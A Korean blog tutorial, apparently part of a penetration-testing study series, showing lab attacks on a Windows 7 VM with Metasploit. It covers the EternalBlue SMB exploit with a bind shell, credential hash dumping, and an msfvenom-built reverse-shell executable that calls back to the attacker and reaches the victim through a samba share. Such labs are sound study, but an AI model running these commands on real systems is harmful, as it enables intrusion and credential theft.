본문 바로가기

침투테스트

3. Bind TCP, Reverse TCP

반응형

이번 시간에는 windows OS를 침투해보는 시간을 가져볼게

항상 침투하기 전에는 정보수집이 우선이니 nmap으로 해당 OS의 port 상태를 알아보고

port에 해당하는 service로 접근이 가능한지 확인 후,

metasploit으로 해당 service의 취약점을 찾아서 침투를 해보도록 할 거야

 

좀 어려운가....? ㅋㅋㅋ

아무튼 하나씩 해나 가보자

 

 

 

1. windows 7 침투

windows 7 침투 전에 우리가 기본 설정을 해야 하는 부분이 있어

1. windows 7의 방화벽 끄기

2. bind_tcp와 reverse_tcp의 차이점 알기

 

방화벽을 우회하는 공격까지는 아직 배우지 않았으니 방화벽을 끈 상태에서 침투를 먼저 해볼 거야

그리고 공격 방법이 bind_tcp와 reverse_tcp가 있는데 이 둘의 차이점이 무엇인지 알고 침투하도록 하자

 

 

- bind_tcp

공격자가 희생자를 직접적으로 공격하는 방식이야

엥..?? 원래 공격자가 희생자를 향해서 공격하는 게 맞는 방식 아닌가?

맞는 이야기야 

하지만, 공격자가 희생자를 직접적으로 공격하게 되면 공격자 자신의 정보 또한 노출되기 쉬워

예를 들어 자신의 IP 주소라든지, arp를 통한 자신의 MAC 주소 노출 등등이 있지

이로 인해 공격자는 추적을 당할 우려가 커지게 돼 그래서 이런 위험요소를 최소한으로 하기 위해 나온 방식이

reverse_tcp 야

 

 

- reverse_tcp 

공격자가 희생자를 악성 프로그램 혹은 악성 사이트로 유도하는 방식이야

즉, 공격자가 희생자의 컴퓨터에 어떠한 경로를 통해서든 악성코드를 심어놓고 이를 희생자가 접속하게 되면

희생자의 OS 정보와 shell 코드까지 얻을 수 있게 돼

공격자 입장에서는 자신의 신변노출 없이 공격을 성공할 수 있는 방식이야

이 또한 최근 가장 많이 이뤄지고 있는 social engineering 기법 중에 하나라고 볼 수 있지

 

 

자 여기까지 bind_tcp와 reverse_tcp에 대해 알아봤는데 이제 직접 침투를 해보도록 하자

먼저 bind_tcp 방식으로 침투를 해보도록 할게!

 

 

<실습 환경>

KALI: 192.168.10.200

Windows 7: 192.168.10.138

 



 

 

2. bind_tcp 침투 테스트

 

공격의 가장 기본! scanning을 먼저 해보도록 하자

msfconsole로 metasploit을 실행하고 nmap으로 windows 7을 port scanning 해보자

그러면 아래와 같이 445/tcp port가 scanning 된 것을 볼 수 있어

microsoft-ds service는 mirocoft의 smb 파일 공유를 할 때 사용하는 service야

우리는 445번 port를 통해서 공격을 시도할 거야

 

 

use exploit/windows/smb/ms17_010_eternalblue

smb에 대한 취약점 code로 일명 ms17_010_eternalblue라는 취약점이야

 

set payload windows/x64/meterpreter/bind_tcp

windows 64bit 환경에서 meterpreter라는 공격 tool을 사용하여 bind_tcp 공격을 실행하는 명령이야

여기서 payload란 공격 code를 뜻해

 

set rhost 192.168.10.138

windows 7을 공격 대상으로 설정하는 부분이야

 

set rport 445

아까 위해서 nmap으로 portscanning 한 445 port를 설정해주는 거야

 

exploit

침투 시작!

침투가 성공적으로 완료되면 사진의 하단부에 빨갛게 밑줄 그은 것처럼 shell이 변경돼

"meterpreter>"로 변경되면 침투가 성공적으로 된 거야

 

 

이게 참고로 얼마나 무서운 침투냐면....

sysinfo 명령으로 해당 OS의 정보도 알 수 있을 뿐 아니라 

hashdump로 해당 계정들의 권한과 비밀번호의 hash 값들을 알 수도 있어......

그리고 shell 명령을 실행하면 windows의 cmd창에서 명령을 내릴 수 있는 권한을 그대로 획득하게 돼!

침투만 성공하면 meterpreter 명령 몇개만으로도 해당 OS 정보를 탈취하는 것은 시간문제!

 



 

3. reverse_tcp 침투 테스트

 

자 그렇다면 이번에는 reverse_tcp를 수행해보도록 할게

그전에 악성 code를 생성 후 windows 7에 전달을 해야 돼 

일단 windows 7까지 악성 code를 심는 환경은 만들어놓은 상태에서 실습을 진행해보도록 할게

악성code를 samba를 이용해서 windows에 옮겨보도록 할게

 

 

kali에서 /etc/samba 디렉터리의 smb.conf 파일에서 profiles 부분에 path=/samba로 설정하자

/samba 디렉터리를 새로 생성해놓고 이 디렉토리를 windows와 공유 디렉터리로 사용할 거야

설정을 마치면 service smbd restart 하는 것 잊지 말고!

 

 

그리고 다음과 같이 명령을 실행해서 virus code를 작성해주도록 하자

msfvenom -p windows /x64/meterpreter/reverse_tcp lhost=192.168.10.200 lport=4444 

-f exe > /root/virus_64.exe

 

msfvenom은 metasploit frameword에 있는 공격 도구 중에 하나야

주로 한 줄로 code를 작성하여 exploit을 하거나 악성 shell code를 제작할 수 있지

 

option

-p: payload로 공격 code를 뜻해

-f: 파일 형태 지정으로 여기서 exe 파일로 저장했어

payload 내용

windows/x64 환경에서 meterpreter 공격 툴을 사용하여 reverse_tcp 공격을 수행하는데

공격자인 KALI의 IP와 KALI가 사용할 port를 입력했어

그리고 해당 악성 code는 KALI의 /root/virus_64.exe 파일로 저장되었어

 

 

이제 우리가 만든 samba 디렉터리에 악성코드를 cp 명령으로 복사해서 옮겨주고

windows 7에서 samba 접속을 해주도록 하자

samba 접속은 \\192.168.10.200

 

 

 

이제 바탕화면에 복사해놓은 다음 kali로 돌아와서 metasploit을 실행해보도록 하자

 

- use exploit/multi/handler

- set payload windows/x64/meterpreter/reverse_tcp

- set lhost 192.168.10.200

- set lport 4444

- set exitonsession false  (session exit 방지)

- exploit -j -z   (exploit 수행을 background 실행)

 

 

 

이제 여기서 windows 7으로 넘어가서 virus_64.exe 파일을 클릭해보자 

그러면 kali에서 다음과 같이 shell code가 변경될 거야

변경된 상태에서 sessions -i 명령을 내리면 지금 어떤 session이 연결되었는지 확인할 수 있어

침투하고자 하는 ID 번호를 가지고  sessions -i [ID 번호]를 수행하면 meterpreter shell을 획득하게 돼

이렇게 reverse_tcp 침투에 성공하게 된 거야!

 

현재 침투에 성공한 것을 볼 수 있어

 



 

오늘은 침투 방법인 bind_tcp, reverse_tcp에 대해 배워봤어

조금 어려울 수도 있지만 취약점에 대해서도 좀 더 알아볼 필요가 있을듯해

msfconsole에서 search 명령으로 service에 대한 취약점들이 정리되어있어서

한 번 시간 날 때 해당 service의 취약점을 찾아보는 것도 좋은 공부가 될 것 같아

다음 시간에도 이어서 metasploit에 대해 더 알아보도록 할게~!

 

 

반응형

'침투테스트' 카테고리의 다른 글

5. ps 탈취  (0) 2022.01.07
4. meterpreter  (0) 2022.01.06
2. SSH, MYSQL 공격  (0) 2022.01.03
1. metasploit 사용법  (0) 2021.12.30